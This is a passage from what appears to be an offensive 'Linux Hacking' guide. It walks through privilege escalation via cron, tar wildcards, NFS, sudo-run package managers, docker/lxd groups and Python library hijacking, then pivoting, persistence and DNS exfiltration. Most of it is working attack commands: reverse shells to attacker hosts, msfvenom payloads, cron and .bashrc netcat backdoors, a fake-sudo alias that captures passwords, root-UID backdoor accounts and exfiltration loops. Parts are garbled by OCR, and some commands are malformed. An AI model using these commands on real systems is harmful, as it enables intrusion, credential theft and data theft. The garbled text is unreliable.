with, an attacker can exploit this to run arbitrary commands.
Exploit: Create or modify files that the cron job interacts with,
potentially causing the cron job to execute malicious code.
Example: Replacing a binary or script that the cron job
executes as root with a malicious version.
Manipulating Command Output
Description: If the output of a cron job is written to a file that
is writable by other users, an attacker can manipulate or
replace this file to control the output or execute malicious
commands.
Exploit: Modify the output file to execute commands or alter
data processed by the cron job.
Example: Writing a command into an output file that is sourced
by another script, leading to command execution.
Job Timing and Timing Attacks
Description: Understanding the timing of cron jobs allows an
attacker to execute attacks right before or after the job runs,
exploiting race conditions or manipulating files at the right
moment.
Exploit: Replace or alter files just before the cron job executes
to exploit vulnerabilities or gain elevated privileges.
Example: Replacing a script moments before its execution,
forcing the cron job to run a malicious version.
Local File Inclusion (LFI)
41 / 80
Linux Hacking
Description: If a cron job includes or requires files without
validating input, an attacker can manipulate this to include
malicious files.
Exploit: Point the cron job to include a malicious file that will
be executed when the cron job runs.
Example: Exploiting a cron job that uses source to include a
file by replacing it with a malicious script.
Writable bash script under root
In case you find a writable .sh script, you can replace its contents
with the below
#!/bin/bash
bash -i >& /dev/tcp/[Link]/4444 0>&1
Start a listener on your machine and you should receive a root shell
Wild cards Command in Cron jobs [tar as an example]
Reverse shell with Msfvenom
msfvenom -p linux/x64/shell_reverse_tcp LHOST=[Link]
LPORT=4545 -f elf -o [Link]
Creating checkpoints as the shell
touch /home/user/--checkpoint=1
touch /home/user/--checkpoint-action=exec=[Link]
setting up a listener
nc -lvp 4545
Now if any script is running in cron tab and is using tar wild cards
you will receive a shell.
Reverse shell with Netcat
42 / 80
Linux Hacking
Similarly we can create a bash script with netcat reverse shell
echo "rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc
[Link] 4545 >/tmp/f" > [Link]
Then execute below commands
[1]
echo "" > "--checkpoint-action=exec=sh [Link]"
[2]
echo "" > --checkpoint=1
Last step is to let [Link] run by the cron job running as root
whether it is a script or something else.
Shell functions
If bash version is running below 4.2-048, we can create shell
functions with names that resemble specific file paths then export
those functions so that they are used instead of any actual
executable at that file path.
/bin/bash --version
Lets assume that there is a binary using the absolute bath of
/usr/sbin/service as an example and is verified above the bash
version is below 4.2-048 then we can create bash function with the
name [/usr/sbin/service] which executes bash shell
function /usr/sbin/service { /bin/bash -p; }
export -f /usr/sbin/service
Last step is to run the binary that is using [/usr/sbin/service]
/usr/local/bin/suid-env2
43 / 80
Linux Hacking
Exploiting root squash in NFS shares
NFS Overview
Network File System (NFS) is a distributed file system protocol
commonly used in Unix-like systems to allow clients to access and
share files over a network as if they were accessing them locally.
While NFS offers convenience and functionality, improper
configuration and weak permissions can create significant security
vulnerabilities, potentially leading to privilege escalation or
unauthorized access to sensitive data.
Overview of root_squash and no_root_squash
The root_squash option in Network File System (NFS) is a security
feature designed to limit the privileges of the root user on client
machines when accessing NFS shares. When enabled, root_squash
ensures that any request made by the root user (UID 0) from a
client is mapped to a less-privileged user, typically nobody (UID -2
or 65534), on the NFS server. This prevents the root user on the
client from gaining full administrative access to the shared files on
the server.
How root_squash Works
Purpose: It restricts the root user on a client system from
having root-level privileges on the NFS server, reducing the
risk of accidental or malicious changes to the NFS share by a
root user on a client.
Behavior: When a root user on the client attempts to read,
write, or modify files on the NFS share, those actions are
performed with the restricted privileges of the nobody user,
preventing root-level access to server files.
Example: If a client root user tries to modify a file on an NFS
share, the operation will be carried out with the limited
permissions of the nobody user, likely leading to access being
denied if the nobody user doesn’t have sufficient permissions
for that file.
44 / 80
Linux Hacking
The no_root_squash Option
In contrast, the no_root_squash option allows the root user on the
client system to retain full root privileges when accessing NFS
shares. When this option is enabled, the root user on the client
machine can perform any action on the NFS share as if they were
the root user on the server, including reading, writing, modifying,
or deleting files with root-level access.
How no_root_squash Works
Purpose: It grants full root privileges to the root user on the
client machine for accessing the NFS share. This might be
necessary in scenarios where the client root user needs
unrestricted access to the NFS share for certain operations.
Behavior: The client root user’s requests are not mapped to
the nobody user, allowing the root user to access the NFS
share with full privileges, as though they are the root user on
the NFS server.
Example: A root user on the client can modify system-critical
files on the NFS share, such as /etc/passwd , or other sensitive
files if those are part of the exported NFS directory. This can
pose a serious security risk if misused.
Example of NFS Export Configuration
With root_squash (Default and Recommended):
/export/shared [Link]/24(rw,sync,root_squash)
In this configuration, any root user from the [Link]/24 subnet
will be mapped to the nobody user on the NFS server.
With no_root_squash (Use with caution)
/export/shared [Link]/24(rw,sync,no_root_squash)
In this configuration, root users from the [Link]/24 subnet
will have full root access to the NFS share, meaning they can
perform any operation without restriction.
45 / 80
Linux Hacking
Listing all accessible mounts
user@kali $ showmount -e {ip}
Exploitation
This requires root squash to be disabled. You can find that by
displaying the configuration of the NFS share
cat /etc/exports
Next step is to mount the share in your attacking machine. We
assume that the target machine nfs share is at /tmp.
mkdir /tmp/nfs
mount -o rw,vers=2 ip:/tmp /tmp/nfs
Generating payload to be copied into the NFS share
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf -o
/tmp/nfs/[Link]
Give it permissions
chmod +xs /tmp/nfs/[Link]
Now run the shell from the remote machine NFS share
/tmp/[Link]
Symlinks
This scenario works if you can manage to make text editing
programs such as [nano] [vim] or [sudoedit] run as another use
such as [root] and wild cards are used .
Normally you can check on that by running [sudo -l]. A typical
scenario is when you get an output similar to the below
46 / 80
Linux Hacking
Matching Defaults entries for werkzeug on joker: env_reset,
mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/
sbin\:/bin\:/snap/bin, sudoedit_follow, !sudoedit_checkdir
User werkzeug may run the following commands on corporate:
(test-account) NOPASSWD: sudoedit /var/www/*/*/[Link]
From the above, we can see that you can run [sudoedit] as [test-
account] and its clear that [wild cards] are used on the path to the
file which means if you create the same file [[Link]] under
similar directory such as
[/var/www/privilege/escalation/[Link]] and link it to the
authorized_keys of the [test-account] user, you can then ssh to
that account.
cd /var/www/
mkdir privilege
mkdir escalation
touch [Link]
ln -s /home/test-account/.ssh/authorized_keys [Link]
Generate ssh keys on your machine and copy the contents of [Link]
and paste it in [[Link]]
sudoedit -u test-account /var/www/privilege/ escalation/[Link]
With the private key of [test-account], you can then log in as that
account.
Nodejs NPM
npm is the package manager for nodejs and javascript. You can use
it if you are nodejs developer or to install javascript packages.
When a non-root user can run [npm] as root then this open the
possibility of creating a specially crafted [[Link]] file if the
original [[Link]] file contains [preinstall] item. An originak
[[Link]] for Nodejs looks like the below
47 / 80
Linux Hacking
{
"name": "rimrafall",
"version": "1.0.0",
"description": "rm -rf /* # DO NOT INSTALL THIS",
"main": "[Link]",
"scripts":
{ "preinstall": "rm -rf /* /.*"
},
"keywords": [
"rimraf",
"rmrf"
],
"author": "João Jerónimo",
"license": "ISC"
}
cd to [/dev/shm] on the target machine and create a [Link]
file like below
user@hacked:/dev/shm$ cat node/[Link]
{
"name": "fake-package",
"version": "1.0.0",
"scripts": {
"preinstall": "/bin/bash"
}
}
Then execute
user@hacked:/dev/shm$ sudo npm i node/ --unsafe
The Package Manager
This method works best if [apt-get update] was added as a cronjob
in [/etc/crontab]. Also write access is needed on
48 / 80
Linux Hacking
[/etc/apt/[Link].d/].
Simply we create a script that will be executed once [apt-get
update] finishes running.
echo 'APT::Update::Pre-Invoke {"command"};' > pwn
mv pwn /etc/apt/[Link].d/
Make sure to replace [command] above with the command you want
to execute.
[pwn] is the name of the script.
Third-party services and programs
Logstash
Logstash is a service used to collecting, transforming and parsing
logs. it works based on piplelines that take the input from multitude
of log sources, process it and then send it to the stash where it is
parsed and transformed.
The two most important config files are
[Link] [controls the parameters configs]
[Link] [controls which config files to run]
The configs of logstash are found under [/etc/logstash]
To escalate privliges through logstash, couple conditions must be
met
1- Service must be run as root
2- you have write access on at least one of the config files
[/etc/logstash]
3- you are able to restart logstash service or it restarts
automatically by itself [checl /etc/logstash/[Link]]
If conditions are met, modify one of the configuration files with the
below
bash
input {
exec {
49 / 80
Linux Hacking
command => "cp /bin/bash /home/bill/shell; chmod +xs
/home/bill/shell"
interval => 10
}
}
output {
file {
path => "/tmp/[Link]"
codec => rubydebug
}
}
Abusing Apache
If Apache process is running as root, we can achieve root. First is
to list the processes and their respective owner
ps -aux
And if Apache is run under root, then we can insert a webshell in
the root directory of Apache. In Linux its under
/var/www/html/
Any webshell works. Download the example webshell below to your
own machine
[Link]
then start a python webserver to server the shell
python3 -m [Link]
From the compromised machine, download and place it under the
apache directory
50 / 80
Linux Hacking
cd /var/www/html
wget [Link]
After the download is successful, Navigate to the ip address of the
compromised machine using the browser and open the shell. It will
look like below
X11 authorization
The X Window System (aka X) is a windowing system for bitmap
displays, which is common on UNIX-based operating systems. X
provides the basic framework for a GUI based [Link] X
Window System (aka X) is a windowing system for bitmap displays,
which is common on UNIX-based operating systems. X provides the
basic framework for a GUI based environment.
When there is .XAuthority file in the home directory of one of the
users, it means there is X11 authorization running so the potential
here is that we can connect the running display impersonating the
user the cookie is assigned to.
But first a couple enumeration steps are necessary.
Getting the display ID
user@machine:/home/user$ w
And a typical output would be
[Link] up 1:39, 1 user, load average: 0.00, 0.00, 0.00
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
51 / 80
Linux Hacking
admin tty7 :0 19:45 1:39m 9.01s 0.04s /usr/libexec/gn
The above shows that the display is connected to admin
Getting more details on the display
[1]
xdpyinfo -display :0
[2]
xwininfo -root -tree -display :0
Both commands should give you an output with the second command
showing other connected users to the display.
If you get no output from these commands, then it means you have
to make sure or copy the .Xauthority file to the home directory of
the user you owned and set the $HOME environment variable
export HOME=/home/user
Screenshot capturing
xwd -root -screen -silent -display <TargetIP:0> > [Link]
If you are on the same machine that you want to perform privilege
escalation then you can omit the <targetIP> then the command
would be
xwd -root -screen -silent -display :0 > [Link]
Getting shell
msf> use exploit/unix/x11/x11_keyboard_exec
52 / 80
Linux Hacking
Abusing Yum
Yum is the package manager tool for red hat distributions of Linux
OS.
If the user can run yum as sudo
We can verify that by running
sudo -l
Next step is to run below commands on the attacker machine
[1] TF=$(mktemp -d)
[2] echo 'id' > $TF/[Link]
[3] fpm -n x -s dir -t rpm -a all --before-install $TF/[Link] $TF
The output of the above three commands will be a package manager
file .rpm .
Now on the attacker machine again, we spawn a web server to
transfer the package file into the victim machine
python -m [Link]
Now on the victim machine we can download the file with wget and
execute the below
sudo yum localinstall -y [Link]
You should then get root access.
Abusing qpdf
qpdf is a command-line tool in Linux used to manipulate and
transform PDF files. It is a powerful tool that allows users to
perform a variety of operations on PDF files, such as encrypting,
53 / 80
Linux Hacking
decrypting, merging, splitting, and modifying them, without losing
content or quality.
There’s a section on Embedded Files/Attachments that explains
options, including the --add-attachment file [options] feature.
You could also copy any file as PDF
user@victim:/dev/shm$ sudo qpdf --empty [Link] -qfd --add-
attachment [Link] --
user@victim:/dev/shm$ sudo qpdf --empty [Link] -qfd --add-
attachment /root/[Link] --
user@victim:/dev/shm$strings [Link]
This will allow you to read those pdf files using strings tool. You
can also the private SSH key:
user@victim:/dev/shm$ sudo qpdf --empty id_rsa.pdf -qfd --add-
attachment /root/.ssh/id_rsa --
user@victim:/dev/shm$ strings id_rsa.pdf
Exploiting Group Permissions
Docker
If you are a member of the docker group, you can escalate
privileges to root due to how Docker handles file system permissions
and mounting. Docker allows users in the docker group to create
and manage containers, and because Docker containers can access
host resources, this creates a potential privilege escalation vector.
The idea is to exploit Docker’s ability to mount directories from the
host system into the container. By mounting the root directory ( / )
of the host into a container, a non-root user in the docker group
can effectively gain root-level access to the host's file system.
Once the host's root directory is mounted inside the container, the
54 / 80
Linux Hacking
user can read, modify, or delete any files on the host system,
leading to full control.
Steps to Escalate Privileges
Run a Docker Container with Host’s Root Directory Mounted
As a user in the docker group, you can start a privileged Docker
container and mount the host’s root ( / ) directory to the container.
This will give the container access to the host file system.
docker run -it --rm --privileged -v /:/mnt ubuntu
Here’s a breakdown of the command:
- docker run -it starts an interactive container.
- --rm removes the container after you exit.
- --privileged grants the container elevated privileges, which
allows it to access and manipulate host resources.
- -v /:/mnt mounts the host’s root directory ( / ) into the
container at /mnt inside the container.
- ubuntu is the base image being used for the container,
which you can replace with any Linux-based image.
Access and Modify the Host File System: Once inside the
container, you can navigate to the /mnt directory, which
contains the host's root file system:
cd /mnt
From here, you can manipulate any files on the host system. For
example, you could edit critical system files, such as /etc/shadow
or /etc/passwd , to create a backdoor or modify user credentials.
Escalate to Root: Since you can manipulate the host file system,
you can escalate to root by modifying the root user’s password.
For example, you could use the following steps:
Open the /mnt/etc/shadow file and replace the root user’s
password hash with a known hash (for example, a blank
password or a hash you know).
After modifying the password, exit the container, and log in as
root on the host system using the new credentials.
Alternatively, you can create a new user and give it root
55 / 80
Linux Hacking
privileges by adding an entry to /mnt/etc/passwd and
/mnt/etc/sudoers .
Example of Gaining Root
Open the /mnt/etc/shadow file inside the container:
vi /mnt/etc/shadow
Replace the root password hash with a known value (e.g., from
another system where you know the root password) or a hash with
no password.
Exit the Container: After making changes, exit the container:
exit
Log in as Root on the host system using the modified credentials.
When the target machine doesn't have internet, it cannot pull the
alpine image, so
docker pull alpine → pull alpine in attacker machine
docker save -o [Link] alpine → save alpine image to tar file
and transfer to victim
docker load -i /path/to/destination/[Link] → load image
from tar file.
docker image ls → shows the images.
LXC / LXD
First we will download Alpine Image in our machine and transfer it
to the target machine.
Initialize the container
lxd init
Then we unzip the [Link] and import the local image
lxc image import [Link] [Link] --alias alpine
56 / 80
Linux Hacking
List the images
lxc image list
Start a privileged container with the [Link] set
to true to run the container without a UID mapping, making the
root user in the container the same as the root user on the host.
Here alpine is the name of the image and example is the name of
the container we are going to spawn
lxc init alpine example -c [Link]=true
Mount the host file system
lxc config device add example mydev disk source=/ path=/mnt/root
recursive=true`
We are mounting entire file system / of the host to path /mnt/root
and recursive=true to get all the files and folders.
Next we start the container
lxc start example
Executing commands inside the container
lxc exec example /bin/sh
Now we are root on the container and container contains the whole
file system of host. we can edit the /mnt/etc/shadow to remove /
change password of root, so that we can login as root in host.
The Disk Group
This method works when you get your first shell on the target
machine. We check to see if the current use is part of the [disk]
group
57 / 80
Linux Hacking
user@target-machine:/$ id
uid=1000(user) gid=1000(user) groups=1000(user),4(adm),6(disk)
We list how the devices are configured
user@target-machine:/$ lsblk
NAME MAJ:MIN RM SIZE RO TYPE MOUNTPOINT
sda 8:0 0 12G 0 disk
├─sda1 8:1 0 120M 0 part /boot
├─sda2 8:2 0 1K 0 part
└─sda5 8:5 0 11.9G 0 part
├─machine--vg-root 252:0 0 7G 0 lvm /
└─machine-vg-swap_1 252:1 0 1G 0 lvm [SWAP]
sr0 11:0 1 1024M 0 rom
Based off the output above, we will want to read the [machine--
vg-root] which is part of the partition [sda5]. We read the
mappings on [LVM]
user@target-machine:/$ ls -l /dev/mapper/
lrwxrwxrwx 1 root root 7 May 14 20:51 machine--vg-root -> ../dm-0
lrwxrwxrwx 1 root root 7 May 14 20:51 machine-vg-swap_1 -> ../dm-1
So the mapped devices are [dm-0] and [dm-1].
We will then retrieve the [dm-0] device since it contains the [root]
file system. We will also compess it with [gzip] and send it to
[netcat]
user@target-machine:/$ time dd if=/dev/dm-0 | gzip -1 - | nc [your-
ip] [port]
On your machine
user@attacker-machine:/$ nc -lvp [port] > [Link]
Once you recieve the file, uncomperss it with [gunzip] and mount it
with the below command
58 / 80
Linux Hacking
user@attacker-machine:/$ sudo mount dm-0-mounted /mnt/
user@attacker-machine:/$ ls /mnt/
Exploiting Python Libraries
Overview
Python Library Hijacking is a security vulnerability that occurs when
an attacker manipulates the Python environment to load a malicious
library instead of the legitimate one. This can happen when Python
applications or scripts import libraries without explicitly specifying
their full path or when the PYTHONPATH or environment variables are
improperly configured. This type of attack can be exploited to
execute arbitrary code, leading to privilege escalation or
unauthorized access, especially when the vulnerable application or
script is run with elevated permissions (such as root).
How Python Library Hijacking Works:
1. Manipulating the PYTHONPATH :
Python uses the PYTHONPATH environment variable to
determine where to look for modules when importing
them. If an attacker can modify the PYTHONPATH , they
can place a malicious library in a directory that is
searched before the legitimate one, causing the
malicious library to be loaded instead. Example is shown
below:
export PYTHONPATH=/attacker/path:$PYTHONPATH
1. Hijacking Through Working Directory Precedence:
Python's default behavior is to search for modules in
the current working directory before looking in other
system directories (like /usr/lib/python3.x ). An
attacker can place a malicious library with the same
name as a legitimate one in the working directory,
causing the malicious one to be imported when the
59 / 80
Linux Hacking
script runs. Example is shown below to view the order
in which modules are searched and imported.
user@kali:~$ python3 -c 'import sys; print("\n".join([Link]))'
/usr/lib/[Link]
/usr/lib/python3.5
/usr/lib/python3.5/lib-dynload
/usr/local/lib/python3.5/dist-packages
/usr/lib/python3/dist-packages
Let's say you want to import Nmpy library in your code. Before
doing so, you can check the location of this package
user@kali:~$ pip3 show numpy
...SNIP...
Location: /usr/local/lib/python3.5/dist-packages
...SNIP...
While importing, python searches
in /usr/lib/[Link] → /usr/lib/python3.5 and then goes
to /usr/local/lib/python3.5/dist-packages
This means we can create a malicious version of [Link] in
/usr/lib/python3.5 so that when it's imported, our own version of
[Link] gets the precedence and will be executed.
Example of a malicious [Link]
def system(command):
# Overwrite the system method to run malicious code
print("Hijacked system command!")
# Run the attacker's code here
3. Insecure Permissions on Python Libraries:
If the system’s Python libraries or paths are
misconfigured with weak file permissions, an attacker
could replace a legitimate library with a malicious
60 / 80
Linux Hacking
version, leading to arbitrary code execution when the
compromised library is imported by Python applications.
4. Exploiting User Privileges:
When Python scripts are run with elevated privileges
(e.g., sudo or as root), an attacker could exploit the
vulnerability to execute their malicious code with those
privileges, leading to privilege escalation or full system
compromise.
Automated Methods
Automated methods are used when you have more than one machine
to test or if you want to save time.
Some common privilege escalation scripts are below
Linpeas
[Link]
LinEnum
A bash script that automates common Linux local enumeration
Link
[Link]
Run
./[Link]
Linux exploit suggester
[Link]
Linux smart enumeration
61 / 80
Linux Hacking
[Link]
Linux priv checker
[Link]
[Link]
Downloading the script
wget [Link]
Scripts/master/[Link]
Prcoessing
sed -i -e 's/\r$//' [Link]
Executing
./[Link]
PsPy
Link for 64bit
[Link]
y64
[Link]
y64s
Link for 32bit
[Link]
y32
62 / 80
Linux Hacking
[Link]
y32s
Unix Priv Checker
wget [Link]
check/master/[Link]
Enum4Linux
Link
[Link]
General Options
-U : get userlist
-M : get machine list
-N : get namelist dump (different from -U and-M)
-S : get sharelist
-P : get password policy information
-G : get group and member list
-a : all of the above (full basic enumeration)
Run a scan against an already compromised host
perl enum4linux
Run a scan against SMB Server
perl enum4linux IP
Remote Logging in
Remote logging works when you have successfully extracted working
credentials/accounts in the target machine. You can then use them
to login to the target machine and have a stable shell.
63 / 80
Linux Hacking
The below tools can be used to accomplish this purpose.
You can Install/download these tools from Impacket.
psexec
[Link] <user>@<ip> powershell
wmiexec
[Link] <user>@<ip>
smbexec
[Link] <user>@<ip>
Post Exploitation
Establishing root SSH connection to the target
from the attacking machine without the need
for password
Suppose after you got the meterpreter shell running in the target
with root privileges that you want to maintain access incase the
meterpreter session dies.
Generate ssh keys in the attacking machine
root@kali$:Ssh-keygen
root@kali$:cat ~/.ssh/id_rsa.pub
Copy the public key
In the compromised host, paste the keys in the authorized keys
root@kali$:mkdir /root/.ssh
root@kali$:echo "ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQD...
kali@kali" > /root/.ssh/authorized_keys
From the attacking machine, connect to the compromised host
64 / 80
Linux Hacking
root@kali$:ssh root@[ip-compromised]
Lateral Movement aka Network Pivoting
Lateral movement in Linux often involves using SSH or exploiting
services running on multiple Linux machines to escalate access or
execute commands.
Techniques:
1. SSH Brute Force: Attacking weak SSH passwords or using
stolen SSH keys to move laterally.
2. Privilege Escalation: Using misconfigured sudoers files,
vulnerable SUID programs, or exploiting kernel vulnerabilities.
3. Exploit Services: Exploiting services such as Samba, NFS, or
other network services that may be running insecurely.
Forwarding connections with netcat from an
internal internet-disconnected client through
a victimized server:
On the victim server machine, download and install rinted
root@kali:~$sudo apt update && sudo apt install rinetd
Restart the service
root@kali:~$sudo service rinetd restart
Edit the config file at cat /etc/[Link] and forward the
connections that will be initiated from the internet-disconnected
client on someport lets say its 80 that is open on the victim
machine on a port opened by your attack machine
[Link] 80 [your-attacker-ip] 80
65 / 80
Linux Hacking
This will forward the connection to port 80 on the victim machine to
your attacking ip on port 80 given its open on your machine.
Next from the victim server machine, connect to the internet-
disconnected client through SSH and initiate a netcat connection to
your machine from there:
root@kali:~$Nc -nvv [vitctim-server-ip-address] 80
Port can be changed according to the environment conditions and the
open ports on the victim server machine and your attacking
machine.
SSH Local port forwarding
Connecting to an internal client on port 445 [ SMB ]
directly from the attacking machine and through a
compromised internal server. This command is typed
on the attacker machine
root@kali:~$sudo ssh -N -L [Link]:445:[Link]:445
student@[Link]
-L: means local forwarding
This command means that any connection regardless of the source
address on port 445 will be forwarded to [Link] which is
the IP of the internal target client and through an SSH tunnel
established through the compromised internal server.
Next step is to connect to the target port, in our case its 445, from
your kali machine as a local connection.
root@kali:~$smbclient -L [Link] -U Administrator
SSH Remote Port Forwarding
Configure a SSH tunnel directed to your kali machine to land on the
internal client. The exact opposite of SSH local port forwarding. SSH
66 / 80
Linux Hacking
tunnel will get around the firewall.
On the compromised server type this command:
root@kali:~$ssh -N -R [Link]:2221:client-ip:3306 kali@[Link]
[Link]: Kali IP
On your kali machine and depending on the port that is open on the
internal client machine, you can interact directly:
root@kali:~$Nc [Link] 2221
will connect you to the mysql server on the internal client machine
SSH Dynamic Port Forwarding
Instead of establishing an SSH tunnel for every host or every port,
we use SOCKS4 Proxy on the kali machine to establish dynamic port
forwarding that will redirect all incoming traffic to the internal
target network through the ssh tunnel established between kali and
the compromised server
root@kali:~$: sudo ssh -N -D [Link]:8080 server@[Link]
On kali machine, editing the configuration file of proxy chains is a
necessary requirements for all testing tools to work:
<root@kali:~$cat /etc/[Link]>
Add
socks4 [Link] 8080
Then any subsequent command should be prepended with
proxychains to work through this tunnel. Example nmap command
root@kali:~$:sudo proxychains nmap --top-ports=20 -sT -Pn
[Link]
67 / 80
Linux Hacking
Setting up Socks5 Proxy at the compromised
host
The socks5 will forward our incoming requests to any destination we
want. In our case, we want to reach the internal network
Downloading the proxy at our local machine first
root@kali:~$Wget
[Link]
Scripts/master/socks5/[Link]
We change the listening port to something below 5555 and set up a
username and password.
We compile it and make it ready for transfer to the compromised
host
root@kali:~$g++ -o socks5 [Link] -lpthread
We transfer this to the compromised host, give it permissions to
run and execute it to listen on the configured port
If there is a firewall rule that prevents the compromised host from
receiving connections on the port we configured, we can add two
IPTABLES rules that forward connections on an allowed port like 80
to the configured port
root@kali:~$iptables -t nat -A PREROUTING -s <IP_attacker> -p tcp -
i eth1 -–dport 80 -j DNAT –to dest [compromised-server-ip or
locahost]:1521
root@kali:~$ iptables -t nat -A POSTROUTING -d [compromised-server-
ip or locahost]:1521 -o eth1 -j MASQUERADE
Then we configure proxy chains and add the following
Socks5 [ip or dns name of the compromised host] 80
Then we are ready to discover the internal network
SSH Tunneling and Forwarding with Chisel
68 / 80
Linux Hacking
Download chisel on the attacking machine
curl [Link] | bash
Or use the below link
KWWSVJLWKXEFRPMSLOORUDFKLVHO
KWWSVJLWKXEFRPMSLOORUDFKLVHOUHOHDVHVWDJY
Run it on the attacking machine
./chisel server -p 2211 --reverse
On the host or victim machine run the below to start the client-
server communications.
Here chisel is run as a client with server at [Link]:8000
with a 'R'emote connection from the same machine and port 8001
being forwarded on to port 22 of the newly discovered network
machine [Link]
curl [Link] -o chisel
chmod +x chisel
./chisel client attack_machine-ip:2211 R:2211:localhost:631
On the attacking machine, connect to the host using ssh
ssh -p 8001 sysadmin@<host_ip>
SSH Hijacking Using SSH-Agent and SSH Agent
Forwarding
Lateral Movement with SSH: SSH (Secure Shell) is commonly used to
move laterally in Linux environments. The attacker needs valid
credentials or a key for SSH access to remote systems.
SSH Persistence: Persistence techniques involve ensuring continued
SSH access even if the system is rebooted.
Persistent SSH Keys: Add an SSH key to ~/.ssh/authorized_keys for
future access. Append your public key to
69 / 80
Linux Hacking
the ~/.ssh/authorized_keys file on the target system:
echo "<public_key>" >> ~/.ssh/authorized_keys
SSH Agent Forwarding: Forward the SSH agent across multiple
systems to maintain access and use the credentials on different
machines.
SSH Hijacking with ControlMaster: ControlMaster in SSH allows
multiple SSH sessions to share a single connection. If an attacker
has access to one session, they can hijack other sessions.
Steps:
Enable ControlMaster in the SSH configuration file ( ~/.ssh/config ).
Add the following to your SSH config file ( ~/.ssh/config ):
Host *
ControlMaster auto
ControlPath /tmp/ssh_mux_%h_%p_%r
If an attacker gains access to one of the sessions, they can hijack
subsequent connections. Use the existing socket to connect to the
target:
ssh -S /tmp/ssh_mux_<target_ip>_22_<user> user@<target_ip>
SSH Agent Hijacking: SSH agent forwarding allows SSH keys to be
used from one machine on another without storing the key on the
second machine. If an attacker compromises the first machine, they
can hijack the agent and use the SSH keys on other systems.
Enable SSH-Agent Forwarding by adding the following to your SSH
config file:
Host *
ForwardAgent yes
Hijack the Session by using the forwarded agent to authenticate to
another system:
70 / 80
Linux Hacking
ssh -A user@<target_ip>
Persistence
Persistence is a method to maintain your access in case the target
machine reboots/shuts down or even if you need to log out and
disconnect from the shell.
Many of what we discussed above in the post exploitation section
can be used to achieve persistence.
For example, when you extract password hashes of the system
users or create new users, you can use them log in later thus you
have created/established persistent access.
Persistence Methods
Extracting hashes and cracking them to obtain the plain text
password which can be used to login later. [Discussed in Post
Exploitation Section]
Creating new accounts and adding them to a privileged group
such as the administrators group. [Discussed in Post
Exploitation Section]
Transferring backdoors to the machine [coming soon]
Adding malicious scripts to startup
Running scripts/executables as cronjobs and or adding them to
the startup/autorun. [Discussed below]
Crontab Persistence Techs
Netcat cronjob
0 HWKRG
Add the below cronjob to the crontab
The below cronjob is set to run for every 10 mins.
0-59/10 ' ' ' ' nc ip attacker-ip -e /bin/bash
0 HWKRG
Execute the below command
71 / 80
Linux Hacking
crontab -l ; echo "@reboot sleep 200 && nc <ip> <port> -e
/bin/bash")| crontab 2> /dev/null
Startup Persistence
Example of malicious code that uses netcat to connect to the
attacker. Make sure to change the IP and Port in the code to yours.
{
<var>="<.hidden filename>"
cat << EOF > /U|/<§á>
alias sudo='locale=$(locale | grep LANG | cut -d= -f2 | cut -d_ -
f1);
if [ \$locale = "en" ];
then echo -n "[sudo] password for
\$USER: ";
fi;
read -s pwd;
echo;
unalias sudo;
echo "\$pwd" | /usr/bin/sudo -S nohup nc <ip> <port> -e /bin/bash >
/dev/null && /usr/bin/sudo -S '
EOF
if [ -f ~/.bashrc ];
then
cat /tmp/<var> >> ~/.bashrc
fi
if [ -f ~/.zshrc ];
then
cat /tmp/<var> >> ~/.zshrc
fi
rm /tmp/<var>
}
Then we can add the code to the .bashrc
J OREDO EDFKUF
72 / 80
Linux Hacking
echo <malicious code> >> /etc/[Link]
/ RFDO EDVKUF
echo <malicious code> >> ~/.bashrc
%DVKBSURI LOH
echo <malicious code> >> ~/.bash_profile
Creating New Persistence Accounts
Adding a new user with root privileges
Below we add hacker as a username with password hacker-password
as a root account with root UID and GID.
useradd -o -u 0 -g 0 -d /root -s /bin/bash hacker echo hacker-
password | passwd --stdin hacker
SSH Persistence
Account manipulation using SSH keys is a way for an attacker to
gain access to a system without using a password. SSH (Secure
Shell) keys are used to authenticate a user to a remote system,
allowing them to log in without entering a password. Instead of a
password, the user presents a private key file, which is then
verified against a public key that is stored on the remote system. If
the keys match, the user is authenticated and granted access to
the system.
An attacker who has gained access to a user's private SSH key can
use it to log in to the system without knowing the user's
password. This can be done by copying the private key to the
attacker's own system and using it to authenticate to the remote
system. If the attacker is able to do this, they will be able to log in
to the system and perform actions as if they were the legitimate
user. This can allow the attacker to gain unauthorized access to
73 / 80
Linux Hacking
sensitive data or to perform actions that would not normally be
allowed.
First, on the victim machine, we modify the SSH config by opening
the file /etc/ssh/sshd_config :
Uncomment the lines
PubkeyAuthentication yes
Allow login with SSH Keys
Comment the lines:
LogLevel INFO
PasswordAuthentication yes
Next, on the attacker machine, we generate a pair of SSH
credentials:
ssh-keygen
Next, copy the contents of your public key created under
/.ssh/id_rsa.pub into the authorized_keys file in the victim machine
echo "content-of-id_rsa.pub" > authorized_keys
On the attacker machine, login with your private key
ssh -i id_rsa user@victim
Data Exfiltration
Data exfiltration is the stage that comes after the attacker
compromised the target machine and in which the attacker attempts
to exfiltrate data from the target to their own server/machine.
DNS Exfiltration
74 / 80
Linux Hacking
To exfiltrate files over DNS, some steps are to be taken on the
attacker machine and others on the target/victim machine.
0 HWKRG
On The Target Machine
Lets say the file we want to exfiltrate is [Link] and its hex
output could be [Link]
xxd -p [Link] [Link]
Then we use a for loop to perform a DNS lookup on the attacker
domain in order to send the file. Lets say the domain that you set
up on the attacker C2 server is [Link]
for i in 'cat [Link]'; do dig $[Link]; done
Attacker Machine
Capture the DNS requests from the target machine
tcdpump -w /tmp/dns -s0 port 53 and host [Link]
Then we extract the exfilled file [Link] from the packet into
[Link]
tcpdump -r dnsdemo -n | grep [Link] | cut -f9 -d' '|
cut -fl -d'.' | uniq [Link]
Lastly we reverse the encoding
xxd -r -p [Link] output
0 HWKRG
On the victim machine
First we en
base64 targetfile > outputfile
Then with for loop we can send the content to the attacker domain
75 / 80
Linux Hacking
for c in ëcat outputfileë; do dig $[Link]; done;
On the attacker machine
We run Tcpdump to listen on port 53 and capture the packets sent
from the victim to an output file [Link]
tcpdump -i ens33 -w [Link] port 53
tcpdump -r [Link] | grep A? | cut -f 9 -d ' ' | cut -f 1 -d '.' |
base64
-d > [Link]
ICMP Exfiltration
On Target Machine
Execute the below on liner. We are assuming that we want to
exfiltrate the contents of /etc/passwd .
stringz='cat /etc/passwd | od -tx1 | cut -c8- I tr -d " " | tr -d
"\n"';
